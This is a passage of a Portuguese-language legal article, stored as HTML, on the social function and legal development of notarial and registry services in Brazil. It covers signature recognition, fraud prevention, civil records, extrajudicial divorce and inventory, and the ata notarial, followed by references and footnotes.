s&atilde;o fins que se entrela&ccedil;am e se completam, apesar de terem conceitos independentes. A publicidade dos atos &eacute; relevante porque a estes ela atribui a autenticidade; a seguran&ccedil;a &eacute; dependente e fim da publicidade e da efic&aacute;cia, por seu turno, s&oacute; se atinge em raz&atilde;o da autenticidade e da publicidade. V&aacute;rias outras rela&ccedil;&otilde;es que condizem e podem ser feitas entre os fins dos servi&ccedil;os notariais e registrais. (SOUZA, 2017, p. 29)<\/p>\n<p style=\"text-align: justify;\"><strong>SEGURAN&Ccedil;A JUR&Iacute;DICA<\/strong><\/p>\n<p style=\"text-align: justify;\">Ao tratar do princ&iacute;pio da seguran&ccedil;a jur&iacute;dica, indicando um dos mais importantes, e em especial relacionar como o fim que se almeja na atividade de notas e registro, aqui se frisa o reconhecimento de firma e autentica&ccedil;&atilde;o de documentos, da &aacute;rea notarial, pois s&atilde;o os alvos de muitas fraudes e falsifica&ccedil;&otilde;es, ressaltando que esse princ&iacute;pio est&aacute; presente na pr&aacute;tica de todos os atos notariais ou registrais, pois o que toda serventia se empenha &eacute; em exercer e garantir a m&aacute;xima seguran&ccedil;a.<\/p>\n<p style=\"text-align: justify;\">Destacando o ato de reconhecer firma e autenticar documentos, que por muitas pessoas passa por despercebida essa fun&ccedil;&atilde;o. Ao mundo atual em que vivemos, dia ap&oacute;s dia temos conhecimento das in&uacute;meras fraudes e falsifica&ccedil;&otilde;es que s&atilde;o apostas em documentos, infelizmente h&aacute; sempre algu&eacute;m querendo obter vantagem sobre outros. E uma forma de preven&ccedil;&atilde;o e de seguran&ccedil;a &eacute; exigir o reconhecimento de firma, e autentica&ccedil;&atilde;o de documentos.<\/p>\n<p style=\"text-align: justify;\">Destacando esses servi&ccedil;os, tem-se:<br \/>\n&nbsp;<br \/>\nA lei usa o verbo reconhecer e autenticar, a demonstrar a diferen&ccedil;a entre cotejar a firma apresentada, com outra lan&ccedil;ada em documento da serventia e a de afirmar que uma certa c&oacute;pia &eacute; a reprodu&ccedil;&atilde;o integral e correta do documento ao qual se refere. (&hellip;) O reconhecimento de firmas, s&oacute; &eacute; poss&iacute;vel a contar de fich&aacute;rio que contenha padr&otilde;es das assinaturas a reconhecer, para poder indicar se a firma &eacute; aut&ecirc;ntica, quando n&atilde;o lan&ccedil;ada na presen&ccedil;a do titular ou de substituto autorizado. Assim, &eacute; porque o verbo reconhecer corresponde a afirmar a coincid&ecirc;ncia gr&aacute;fica, vis&iacute;vel a olho nu, entre a assinatura no documento apresentado e aquela que foi previamente lan&ccedil;ada nas fichas de servi&ccedil;o. (CENEVIVA, 2010, p. 92).<br \/>\n&nbsp;<br \/>\nApesar de ser exigido por muitas reparti&ccedil;&otilde;es o reconhecimento de firma, ainda somos incomodados pela vasta inseguran&ccedil;a de falsifica&ccedil;&otilde;es. Atrav&eacute;s da pr&aacute;tica dos atos notariais e registrais, as serventias extrajudiciais utilizam o selo digital de fiscaliza&ccedil;&atilde;o, aposto no documento juntamente com carimbo e assinatura do respons&aacute;vel pelo ato, precisamente aqui no estado de Santa Catarina &eacute; poss&iacute;vel consultar no pr&oacute;prio&nbsp;<em>site<\/em>&nbsp;dispon&iacute;vel na etiqueta de reconhecimento de firma, pois o documento reconhecido dentro de alguns minutos fica &agrave; disposi&ccedil;&atilde;o do usu&aacute;rio ou receptor para confer&ecirc;ncia no referido site, garantindo que aquela assinatura &eacute; v&aacute;lida e o objeto do documento que foi assinado, buscando sempre garantir e zelar pela seguran&ccedil;a m&aacute;xima.<\/p>\n<p style=\"text-align: justify;\">Apesar de todas as ferramentas de consulta em busca de prote&ccedil;&atilde;o contra as fraudes, as serventias extrajudiciais tomam cuidado ao momento de atender, receber documentos e reconhecimentos de firma vindo de outras cidades, portanto verificam a veracidade daquela assinatura, e onde por muitas vezes as fraudes s&atilde;o barradas e levadas a conhecimento da autoridade policial, convindo a serventia extrajudicial de preven&ccedil;&atilde;o e aux&iacute;lio no descobrimento, e impedimento de fraudes irem &agrave; diante. Destaca-se ao termo prud&ecirc;ncia:<br \/>\n&nbsp;<br \/>\nO que se exige deste profissional do direito &eacute; o saber de decidir casos. E, com lastro na prud&ecirc;ncia, toca-se o caso concreto. (..) Com a experi&ecirc;ncia do passado e o conhecimento do fato presente, adotam-se medidas prudentes para o futuro. A prud&ecirc;ncia &eacute;, para o autor, uma virtude, em pressuposto moral para existirem a justi&ccedil;a e a temperan&ccedil;a. (LAMANAUSKAS, 2016, p. 163).<br \/>\n&nbsp;<br \/>\n&Eacute; nesse norte que se verifica a import&acirc;ncia do reconhecimento de firma, e a autentica&ccedil;&atilde;o de documentos, bem como a pr&aacute;tica de todos os atos notariais e registrais, que como j&aacute; mencionado n&atilde;o s&atilde;o levadas a s&eacute;rio por algumas pessoas, considerando os riscos expostos a esse mundo, talvez seria poss&iacute;vel refletir que se dirigir ao cart&oacute;rio &eacute; um ato que pode prevenir eventuais transtornos e preju&iacute;zos muito maiores. A serventia extrajudicial tamb&eacute;m tem a fun&ccedil;&atilde;o de prevenir fraudes e falsifica&ccedil;&otilde;es, como j&aacute; ressaltado acima de tudo zelando pelo princ&iacute;pio da seguran&ccedil;a jur&iacute;dica.<\/p>\n<p style=\"text-align: justify;\"><strong>OS PRINCIPAIS EVENTOS DA VIDA PASSAM POR UMA SERVENTIA EXTRAJUDICIAL<\/strong><\/p>\n<p style=\"text-align: justify;\">Inicialmente o primeiro documento que se recebe ao nascer, ou melhor, ressaltando que nossos pais recebem por n&oacute;s, &eacute; a certid&atilde;o de nascimento. Atrav&eacute;s dela, passa-se a ter uma exist&ecirc;ncia jur&iacute;dica, reconhecida pelo Estado, condicionada a direitos e deveres. A certid&atilde;o de nascimento n&atilde;o &eacute; simplesmente um papel, e nem uma mera estat&iacute;stica para o banco de dados p&uacute;blicos. Ela &eacute; dotada de&nbsp;f&eacute;-p&uacute;blica, gravada com dados inequ&iacute;vocos tais como: data, hora e local do nascimento, nacionalidade, nomes completos dos pais e av&oacute;s (paternos e maternos). Somente com o registro de nascimento a pessoa poder&aacute; exercer seus direitos de cidad&atilde;o, entre eles: retirar outros documentos. &Eacute; fato, quem n&atilde;o tem certid&atilde;o de nascimento, n&atilde;o existe. (BRAGA, 2017).<\/p>\n<p style=\"text-align: justify;\">Ao refletir sobre a import&acirc;ncia da atividade notarial e registral, durante esses anos de profiss&atilde;o observando os registros e atos que exer&ccedil;o na serventia em que trabalho, percebi e senti emo&ccedil;&otilde;es que as pessoas passam, seja desde ao momento em que registram o in&iacute;cio da vida, recebendo a certid&atilde;o de nascimento, momento de felicidade aos pais, ao &uacute;ltimo suspiro do familiar t&atilde;o dif&iacute;cil, ao registrar o &oacute;bito. Se voc&ecirc; deseja casar, ocorre &agrave; altera&ccedil;&atilde;o do seu estado civil, e partir desse momento novamente a sua vida jur&iacute;dica modifica, ou ent&atilde;o quando voc&ecirc; adquire um im&oacute;vel e realiza a escritura p&uacute;blica de compra e venda, formaliza um neg&oacute;cio jur&iacute;dico t&atilde;o importante, que muitos ainda guardam a primeira escritura e tem medo de perder aquela. Sem mencionar aqui, os atos de emancipa&ccedil;&atilde;o, ou interdi&ccedil;&atilde;o que incorporam o registro civil das pessoas naturais.<\/p>\n<p style=\"text-align: justify;\">Apesar de muitos n&atilde;o considerarem qual a fun&ccedil;&atilde;o essencial e importante que passa pelo cart&oacute;rio, s&oacute; quem sabe e est&aacute; diante de um balc&atilde;o, que atende, e eleva com muito orgulho, reconhecendo a import&acirc;ncia dessa atividade e os benef&iacute;cios que ela nos assegura. Merece destaque a cita&ccedil;&atilde;o de Alexsandro Rezende, em seu artigo sobre a atividade notarial e registral:<br \/>\n&nbsp;<br \/>\nPensando em fun&ccedil;&atilde;o social atinente &agrave;s atividades notariais e de registro, pensamos sobre o significado do Cart&oacute;rio para o cidad&atilde;o e a sociedade. Seja um cidad&atilde;o de menor ou maior instru&ccedil;&atilde;o, seja um grupo de indiv&iacute;duos de determinada sociedade. [&hellip;]. O not&aacute;rio e o registrador, apesar de exercer as suas fun&ccedil;&otilde;es estipuladas na lei 8.935\/94, ou seja, a garantia da publicidade, autenticidade, seguran&ccedil;a e efic&aacute;cia dos atos jur&iacute;dicos, est&atilde;o a todo o momento lidando com rea&ccedil;&otilde;es pessoais e emocionais daqueles que utilizam os seus servi&ccedil;os. (REZENDE, 2015)<br \/>\n&nbsp;<br \/>\nE, &eacute; exatamente quando se reflete sobre as rea&ccedil;&otilde;es pessoais e emocionais que se lembra o significado dos registros e atos notariais na vida dos cidad&atilde;os. Aos profissionais da &aacute;rea &eacute; comum realizar os registros e a formaliza&ccedil;&atilde;o dos atos, mais para aqueles que est&atilde;o do outro lado do balc&atilde;o &eacute; t&atilde;o importante e revelam seus sentimentos. No decorrer desses anos, sempre nos atendimentos procuro compartilhar da alegria dos usu&aacute;rios, seja ao momento de registrar seus filhos, ao ler uma escritura de aquisi&ccedil;&atilde;o de um im&oacute;vel e ainda aos casamentos realizados na serventia em que trabalho, pois sempre &eacute; trazido aos contraentes que est&atilde;o casando que o ato do casamento civil, &eacute; uma solenidade muito r&aacute;pida, mais que muda totalmente a vida daqueles que est&atilde;o ali.<\/p>\n<p style=\"text-align: justify;\">Reconhecer que com nosso trabalho h&aacute; um constante aprendizado, conhecendo das realidades de cada um &eacute; gratificante, procurando sempre auxiliar, e concluir esses atos notariais e registrais na vida das pessoas, &eacute; t&atilde;o importante para quem o solicita, como para aquele que est&aacute; a sua disposi&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\"><strong>DO ALCANCE SOCIAL<\/strong><\/p>\n<p style=\"text-align: justify;\">A fun&ccedil;&atilde;o notarial desempenhada no Brasil tem sido considerada apenas como uma fun&ccedil;&atilde;o p&uacute;blica, retirando-se seu car&aacute;ter jur&iacute;dico e principalmente o seu alcance social. Reavaliando tal quest&atilde;o, veja-se a fun&ccedil;&atilde;o notarial com seu papel harmonizador na sociedade, prevenindo lit&iacute;gios, trazendo seguran&ccedil;a jur&iacute;dica, e estabilidade &agrave;s negocia&ccedil;&otilde;es privadas. (RIBEIRO NETO, 2008, p. 75).<\/p>\n<p style=\"text-align: justify;\">O Not&aacute;rio, Registrador e seus prepostos assessoram as partes, e orientam dentro do caso concreto as possibilidades que a lei lhe oferece. Quando por diversas situa&ccedil;&otilde;es, as pessoas leigas de seus direitos ou de como agir diante de uma situa&ccedil;&atilde;o, recorrem a uma serventia extrajudicial, emanadas de d&uacute;vidas, assim confidenciam seus problemas, e mencionando o que ocorre por muitas ocasi&otilde;es na serventia em que trabalho, onde &agrave;s vezes a parte precisa apenas de algu&eacute;m que lhe escute, e possa sanar suas d&uacute;vidas, fazendo perceber que a atividade notarial e registral tem a sua abrang&ecirc;ncia em sua fun&ccedil;&atilde;o social, quando serve de apoio e orienta&ccedil;&atilde;o a quem dela procura.<\/p>\n<p style=\"text-align: justify;\">S&atilde;o situa&ccedil;&otilde;es di&aacute;rias que v&atilde;o al&eacute;m da formaliza&ccedil;&atilde;o da vontade das partes em atos jur&iacute;dicos, e que tornam essa profiss&atilde;o exercente de uma fun&ccedil;&atilde;o social que almeja a seguran&ccedil;a jur&iacute;dica e previne lit&iacute;gios, evitando novas demandas judiciais, &eacute; o que tamb&eacute;m complementa a doutrina:<br \/>\n&nbsp;<br \/>\nMas a atua&ccedil;&atilde;o do not&aacute;rio vai muito mais al&eacute;m, do que a mera formaliza&ccedil;&atilde;o dos atos jur&iacute;dicos; o not&aacute;rio assessora e aconselha as partes, conciliando interesses, e auxiliando-as com a absoluta imparcialidade, mantendo a paz social, pela preven&ccedil;&atilde;o de lit&iacute;gios e imprimindo seguran&ccedil;a &agrave; contrata&ccedil;&atilde;o privada. (RIBEIRO NETO, 2008, p.77).<br \/>\n&nbsp;<br \/>\nDiante da complexidade da fun&ccedil;&atilde;o notarial, as responsabilidades que o not&aacute;rio possui e deve exercer tra&ccedil;ando o seu fim, qual seja da seguran&ccedil;a jur&iacute;dica preceito em que avan&ccedil;a a garantia jur&iacute;dico social das declara&ccedil;&otilde;es de vontade e rela&ccedil;&otilde;es jur&iacute;dicas &eacute; consequ&ecirc;ncia da atua&ccedil;&atilde;o juridicamente perfeita do not&aacute;rio. A fun&ccedil;&atilde;o notarial realiza uma verdadeira instrumentaliza&ccedil;&atilde;o do Direito. (RIBEIRO NETO, 2008, p. 79).<\/p>\n<p style=\"text-align: justify;\">Destaca-se aqui um trecho do texto, escrito pelo Tabeli&atilde;o Jos&eacute; Luiz Duarte Marques (Boletim n&ordm; 05, 1973), e citado por Anna Christina em sua obra:<br \/>\n&nbsp;<br \/>\nE ningu&eacute;m nega que a efici&ecirc;ncia &eacute; uma constante no exerc&iacute;cio da fun&ccedil;&atilde;o notarial, notadamente em nosso Estado. Para comprovar a assertiva, a&iacute; est&atilde;o os reposit&oacute;rios de jurisprud&ecirc;ncia, onde abundam as lides decorrentes de atos de contrata&ccedil;&atilde;o privada, enquanto chama a aten&ccedil;&atilde;o, por sua raridade, a revis&atilde;o de Escrituras P&uacute;blicas. Ainda conv&eacute;m ouvir a palavra autorizada de Carnelutti: &ldquo;[..] aos not&aacute;rios ajusta-se a express&atilde;o de escultores do direito. Porque a fun&ccedil;&atilde;o do not&aacute;rio encaminha-se diretamente a que a vontade declarada das partes siga seu curso normal, evitando toda possibilidade de lit&iacute;gio.&rdquo; (RIBEIRO NETO, 2008, p. 82).<\/p>\n<p>&nbsp;Ao lecionar a doutrina, que discorre o not&aacute;rio como um ator da justi&ccedil;a, como aquele que administra o direito daqueles que o procuram em consenso. Em seu exerc&iacute;cio busca assegurar a paz e a estabilidade, prevenindo conflitos, concedendo autenticidade e prud&ecirc;ncia aconselhativa. De tal modo, evitando futuros lit&iacute;gios que possam ser objeto de conflitos judiciais. (LAMANAUSKAS, 2016, p. 165).<\/p>\n<p style=\"text-align: justify;\">A fun&ccedil;&atilde;o social do not&aacute;rio e registrador est&aacute; na credibilidade que sua profiss&atilde;o oferece a sociedade. A f&eacute; &eacute; uma necessidade, em que a profiss&atilde;o desta &aacute;rea est&aacute; incumbida de prover. Destacada a confian&ccedil;a que &eacute; depositada aos not&aacute;rios e registradores, n&atilde;o proveniente, apenas dos usu&aacute;rios dos servi&ccedil;os extrajudiciais, mas tamb&eacute;m do Estado, que investiu na fun&ccedil;&atilde;o, e exerce a regulamenta&ccedil;&atilde;o normativa e fiscalizadora. &Eacute; o Estado quem confia e deposita ao delegat&aacute;rio para exercer, promover a justi&ccedil;a, e assim que inspire a seguran&ccedil;a aos usu&aacute;rios no oferecimento dos servi&ccedil;os que a lei lhe atribui. (LAMANAUSKAS, 2016, P. 167).&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>DA EVOLU&Ccedil;&Atilde;O JUR&Iacute;DICA<\/strong><\/p>\n<p style=\"text-align: justify;\">Com rela&ccedil;&atilde;o &agrave; evolu&ccedil;&atilde;o jur&iacute;dica, tem-se um avan&ccedil;o em diversos ramos, &nbsp;nesse artigo apresenta-se apenas alguns desses procedimentos, a come&ccedil;ar tratando do processo de invent&aacute;rio e div&oacute;rcio, procedimentos que ap&oacute;s o advento da Lei n&ordm; 11.441\/2007, s&atilde;o ent&atilde;o pass&iacute;veis de serem realizados por escritura p&uacute;blica lavrada em serventia extrajudicial, o que tamb&eacute;m veio para auxiliar o judici&aacute;rio sobrecarregado por in&uacute;meros processos, e principalmente as partes que nesses casos querem uma solu&ccedil;&atilde;o e conclus&atilde;o r&aacute;pida, al&eacute;m de prevenir eventuais lit&iacute;gios familiares.<\/p>\n<p style=\"text-align: justify;\">Destaca-se que o procedimento na serventia extrajudicial obedece todas as regras pertinentes na legisla&ccedil;&atilde;o, e respeitando os limites nela impostos, dos quais est&atilde;o que o invent&aacute;rio (n&atilde;o havendo testamento) e o div&oacute;rcio ser&atilde;o processados extrajudicialmente, desde que todas as partes sejam maiores, capazes, estando em consenso e assistidas de advogado constitu&iacute;do, logicamente ainda &eacute; poss&iacute;vel as partes optarem pela via judicial, mesmo com todos os requisitos destacados, mas atualmente utilizam do procedimento extrajudicial evitando a demora sobrecarregada do poder judici&aacute;rio.<\/p>\n<p style=\"text-align: justify;\">Busca-se a cada dia valorizar a qualidade do avan&ccedil;o aos procedimentos extrajudiciais, dentro das medidas legislativas na busca de solu&ccedil;&otilde;es mais c&eacute;leres, simples, e menos onerosas para a resposta de determinadas quest&otilde;es, antes da exclusiva atua&ccedil;&atilde;o do Poder Judici&aacute;rio. Verifica-se, uma tend&ecirc;ncia de afastar do Poder Judici&aacute;rio conflitos que comportem outro meio de solu&ccedil;&atilde;o. A morosidade do judici&aacute;rio, j&aacute; bastante abarrotado de processos, e o custo do acesso &agrave; justi&ccedil;a incrementam as atividades que permeiam aos interessados em verem suas quest&otilde;es decididas sem interven&ccedil;&atilde;o do Poder em foco, que deve em especial ser reservado a conflitos em que seu atuar seja indispens&aacute;vel. (SOUZA, 2017, p. 256\/257).<\/p>\n<p style=\"text-align: justify;\">Essa atividade, que vem se expandindo com sua evolu&ccedil;&atilde;o legislativa, reconhe&ccedil;o que esses profissionais em raz&atilde;o de sua tradi&ccedil;&atilde;o e independ&ecirc;ncia jur&iacute;dica, colaboram na solu&ccedil;&atilde;o mais c&eacute;lere em diversas quest&otilde;es, sem que prescinda da seguran&ccedil;a jur&iacute;dica e a efic&aacute;cia. (SOUZA, 2017, p. 258).<\/p>\n<p style=\"text-align: justify;\">Conv&eacute;m mencionar um ato que surgiu com grande for&ccedil;a com o novo CPC, art. 384,&nbsp;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn8\">[8]<\/a>&nbsp;que foi a Ata Notarial, documento que faz prova judicialmente, a qual j&aacute; estava prevista na Lei dos Not&aacute;rios e Registradores, art. 7&ordm;, III,<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftn9\">[9]<\/a>&nbsp;mas que n&atilde;o era t&atilde;o comum ser solicitada, j&aacute; com o novo CPC, veio com for&ccedil;a, e atualmente bastante pedida por advogados aos seus clientes, ao passo que o not&aacute;rio transcreve o que viu, ou lhe foi apresentado, autenticando o fato e atestando a sua f&eacute; p&uacute;blica.<br \/>\n&nbsp;<br \/>\nO verbo autenticar &eacute; vinculado ao termo fatos. Significa a confirma&ccedil;&atilde;o pela autoridade da qual o not&aacute;rio &eacute; investido, da exist&ecirc;ncia e das circunst&acirc;ncias que caracterizam o fato, enquanto acontecimento juridicamente relevante. Quando uma certa ocorr&ecirc;ncia possa dar origem a direitos, passa a ser considerada fato jur&iacute;dico, capaz de provocar efeitos em atos ou neg&oacute;cios jur&iacute;dicos. Assim por exemplo, com a ata notarial e a escritura de comparecimento, em que a parte afirma, sem contradit&oacute;rio, apresentar-se ao s&eacute;rico notarial, dizendo estar cumprindo tal ou qual atividade, para preservar direito pr&oacute;prio ou de terceiro. (CENEVIVA, 2010, p. 74).<br \/>\n&nbsp;&nbsp;<br \/>\nObserva-se, portanto que as serventias extrajudiciais v&ecirc;em ganhando novos atributos, esses apresentados apenas alguns dos principais, pois seu campo atualmente ainda abrange muitos outros, confiando o poder p&uacute;blico a sua atua&ccedil;&atilde;o jur&iacute;dica de profissionais do direito. Auxiliando assim o judici&aacute;rio, e principalmente o benef&iacute;cio que atinge aos usu&aacute;rios de resolverem seus atos e neg&oacute;cios extrajudicialmente. Demonstrando como a atividade &eacute; de extrema import&acirc;ncia na vida dos cidad&atilde;os, com prerrogativas de agilidade, seguran&ccedil;a, preven&ccedil;&atilde;o de fraudes e de lit&iacute;gios, conforme o apresentado.<br \/>\n&nbsp;<br \/>\n<strong>CONSIDERA&Ccedil;&Otilde;ES FINAIS<\/strong><\/p>\n<p style=\"text-align: justify;\">O Estado delega uma serventia extrajudicial, a investidura do cargo da qual assume o not&aacute;rio ou registrador e a enorme responsabilidade no &acirc;mbito de desempenhar a sua fun&ccedil;&atilde;o de profissional do Direito.<\/p>\n<p style=\"text-align: justify;\">Tratando da independ&ecirc;ncia profissional, como t&eacute;cnicos do Direito alcan&ccedil;aram, por serem confiados pelo poder p&uacute;blico em aplicar a legisla&ccedil;&atilde;o, ao cuidado em seu atuar, em virtude de estarem sob fiscaliza&ccedil;&atilde;o do Poder Judici&aacute;rio diariamente, sendo que a pr&aacute;tica de seus atos fornecidos atrav&eacute;s de selos, dispon&iacute;veis aos usu&aacute;rios, e a an&aacute;lise das corregedorias estaduais.<\/p>\n<p style=\"text-align: justify;\">Por tr&aacute;s, de um not&aacute;rio\/registrador e de seus prepostos, existem in&uacute;meras responsabilidades, n&atilde;o simplesmente em lidar com documentos ou registros, s&atilde;o os que interferem e modificam a vida das pessoas, muitas vezes errar &eacute; crucial, as pessoas te cobram, o Estado lhe cobra, e por mais que exista a legisla&ccedil;&atilde;o, a doutrina e as jurisprud&ecirc;ncias, nem tudo te d&aacute; respostas concretas, &eacute; um constante estudo, afinal esse &eacute; um dos ramos do Direito. Como toda profiss&atilde;o exige responsabilidade, estar de frente a uma serventia, ou fazer parte dela lhe imp&otilde;e compromisso com o Estado e muito mais ainda o usu&aacute;rio que busca.<\/p>\n<p style=\"text-align: justify;\">N&atilde;o basta decidir estudar e passar no concurso, &eacute; preciso ter amor naquilo que voc&ecirc; trabalha, pois ao seu redor onde voc&ecirc; &eacute; elogiado, outras vezes criticado, muitos compreendem o que voc&ecirc; solicita e outros te contestam. Enfrentar dificuldades no &acirc;mbito profissional &eacute; parte do cotidiano, mais sentir orgulho da sua profiss&atilde;o e de seu crescimento nela, s&atilde;o impulsos positivos e que te fazem defender e estudar mais esse ramo do direito.<br \/>\n&nbsp;O que se buscou com esse artigo, foi ent&atilde;o apresentar uma breve reflex&atilde;o da atividade notarial e registral e a sua fun&ccedil;&atilde;o social e evolu&ccedil;&atilde;o, por&eacute;m o estudo pode ir muito al&eacute;m a esse ramo do direito que tem grande import&acirc;ncia, e que continuar&aacute; se abrangendo.&nbsp;<\/p>\n<p style=\"text-align: justify;\"><strong>REFER&Ecirc;NCIA DAS FONTES CITADAS<\/strong><\/p>\n<p style=\"text-align: justify;\">BRAGA, Marcelo. Cart&oacute;rios: a import&acirc;ncia e a evolu&ccedil;&atilde;o hist&oacute;rica. Dispon&iacute;vel em: &lt;https:\/\/marceloadvbh.jusbrasil.com.br\/artigos\/390657528\/cartorios-a-importancia-e-a-evolucao-historica&gt; Acesso em 17 jan. 2018.<br \/>\n&nbsp;<br \/>\nBRASIL, Constitui&ccedil;&atilde;o (1988).&nbsp;<strong>Constitui&ccedil;&atilde;o da Rep&uacute;blica Federativa do Brasil.<\/strong>&nbsp;Bras&iacute;lia, DF: Senado 1988. Dispon&iacute;vel em:&lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm<\/a>&gt; Acesso em: 24 jan. 2018.<br \/>\n&nbsp;<br \/>\nBRASIL.&nbsp;<strong>Lei 6.015 de 31 de dezembro de 1973<\/strong>. Disp&otilde;e sobre os registros p&uacute;blicos. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l6015compilada.htm#%28%20*%20%29\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l6015compilada.htm#( * )<\/a>&gt; Acesso em: 24 jan. 2018.<br \/>\n&nbsp;<br \/>\nBRASIL.&nbsp;<strong>Lei n&ordm; 8.935 de 18 de novembro de 1994<\/strong>. Regulamenta o art. 236 da Constitui&ccedil;&atilde;o Federal, dispondo sobre servi&ccedil;os notariais e de registro. (Lei dos cart&oacute;rios). &nbsp;Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm<\/a>&nbsp;&gt; Acesso em: 24 jan. 2018.<br \/>\n&nbsp;<br \/>\nBRASIL.&nbsp;<strong>Lei 10.406 de 10 de janeiro de 2.002.<\/strong>&nbsp;Institui o C&oacute;digo Civil. Art. 215. A escritura p&uacute;blica, lavrada em notas de tabeli&atilde;o, &eacute; documento dotado de f&eacute; p&uacute;blica, fazendo prova plena. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/CCivil_03\/leis\/2002\/L10406.htm\">http:\/\/www.planalto.gov.br\/CCivil_03\/leis\/2002\/L10406.htm<\/a>&gt; Acesso em: 24 jan. 2018.<br \/>\n&nbsp;<br \/>\nBRASIL.&nbsp;<strong>Lei n&ordm; 13.105 de 16 de mar&ccedil;o de 2015.<\/strong>&nbsp;C&oacute;digo de Processo Civil. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/l13105.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/_ato2015-2018\/2015\/lei\/l13105.htm<\/a>&gt; Acesso em 24 jan. 2018.<br \/>\n&nbsp;<br \/>\nCENEVIVA, Walter.&nbsp;<strong>Lei dos Not&aacute;rios e Registradores comentada<\/strong>. 8. ed. S&atilde;o Paulo: Saraiva, 2010.<br \/>\n&nbsp;<br \/>\nCENEVIVA, Walter.&nbsp;<strong>Lei dos registros p&uacute;blicos comentada.<\/strong>&nbsp;20. ed. S&atilde;o Paulo: Saraiva, 2010.<br \/>\n&nbsp;<br \/>\nLAMANAUSKAS, Milton Fernando. A pedra angular da atividade notarial e registral, in DEL GU&Eacute;RCIO NETO, Arthur; DEL GU&Eacute;RCIO, Lucas Barelli.&nbsp;<strong>O direito notarial e registral em artigos.&nbsp;<\/strong>1.ed, S&atilde;o Paulo: YK Editora, 2016.<br \/>\n&nbsp;<br \/>\nRIBEIRO NETO, Anna Christina.&nbsp;<strong>O Alcance Social da Fun&ccedil;&atilde;o Notarial no Brasil<\/strong>. 1.ed. Florian&oacute;polis: Conceito Editorial, 2008.<br \/>\n&nbsp;<br \/>\nSOUZA, Eduardo Pacheco Ribeiro de.&nbsp;<strong>No&ccedil;&otilde;es de direito registral e notarial<\/strong>. 2. ed. S&atilde;o Paulo: Saraiva, 2017.<br \/>\n&nbsp;<br \/>\nREZENDE, Alexsandro.&nbsp;<strong>As atividades notariais e registrais sob o enfoque social<\/strong>. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=NTYyNQ==\">http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=NTYyNQ==<\/a>&gt; Acesso em: 17 jan. 2018.<br \/>\n&nbsp;<br \/>\nWalter Cruz. SWENSSON NETO, Renato. SWENSOON, Alessandra Seino Granja.&nbsp;<strong>Lei de registros p&uacute;blicos anotada<\/strong>. 4. ed. S&atilde;o Paulo: Editora Juarez de Oliveira, 2006.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref1\">[1]<\/a>&nbsp;BRASIL.&nbsp;<strong>Lei n&ordm; 8.935 de 18 de novembro de 1994<\/strong>. Regulamenta o art. 236 da Constitui&ccedil;&atilde;o Federal, dispondo sobre servi&ccedil;os notariais e de registro. (Lei dos cart&oacute;rios). Art. 15. Os concursos ser&atilde;o realizados pelo Poder Judici&aacute;rio, com a participa&ccedil;&atilde;o, em todas as suas fases, da Ordem dos Advogados do Brasil, do Minist&eacute;rio P&uacute;blico, de um not&aacute;rio e de um registrador. par&aacute;grafo 2&ordm; &nbsp;Ao concurso p&uacute;blico poder&atilde;o concorrer candidatos n&atilde;o bachar&eacute;is em direito que tenham completado, at&eacute; a data da primeira publica&ccedil;&atilde;o do edital do concurso de provas e t&iacute;tulos, dez anos de exerc&iacute;cio em servi&ccedil;o notarial ou de registro. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/leis\/l8935.htm<\/a>&gt; Acesso em 03 mar. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref2\">[2]<\/a>&nbsp;BRASIL, Constitui&ccedil;&atilde;o (1988).&nbsp;<strong>Constitui&ccedil;&atilde;o da Rep&uacute;blica Federativa do Brasil.<\/strong>&nbsp;Bras&iacute;lia, DF: Senado 1988. Art. 236. Os servi&ccedil;os notariais e de registro s&atilde;o exercidos em car&aacute;ter privado, por delega&ccedil;&atilde;o do Poder P&uacute;blico. Dispon&iacute;vel em: &lt;<a href=\"http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm\">http:\/\/www.planalto.gov.br\/ccivil_03\/constituicao\/constituicaocompilado.htm<\/a>&gt; Acesso em: 24 jan. 2018.<\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/www.notariado.org.br\/index.php?pG=X19leGliZV9ub3RpY2lhcw==&amp;in=MTE0MjE=#_ftnref3\">[3]<\/a>&nbsp;BRASIL, Constitui&ccedil;&atilde;o (1988).&nbsp;<strong>Constitui&ccedil;&atilde;o da Rep&uacute;blica Federativa do Brasil.<\/strong>&nbsp;Bras&iacute;lia, DF: Senado 1988. Art. 236. Os servi&ccedil;os notariais e de registro s&atilde;o exercidos em car&aacute;ter privado, por delega&ccedil;&atilde;o do Poder P&uacute;blico. &sect; 3&ordm; O ingresso na atividade notarial e de registro depende de concurso p&uacute;blico de provas e t&iacute;tulos, n&atilde;o se permitindo 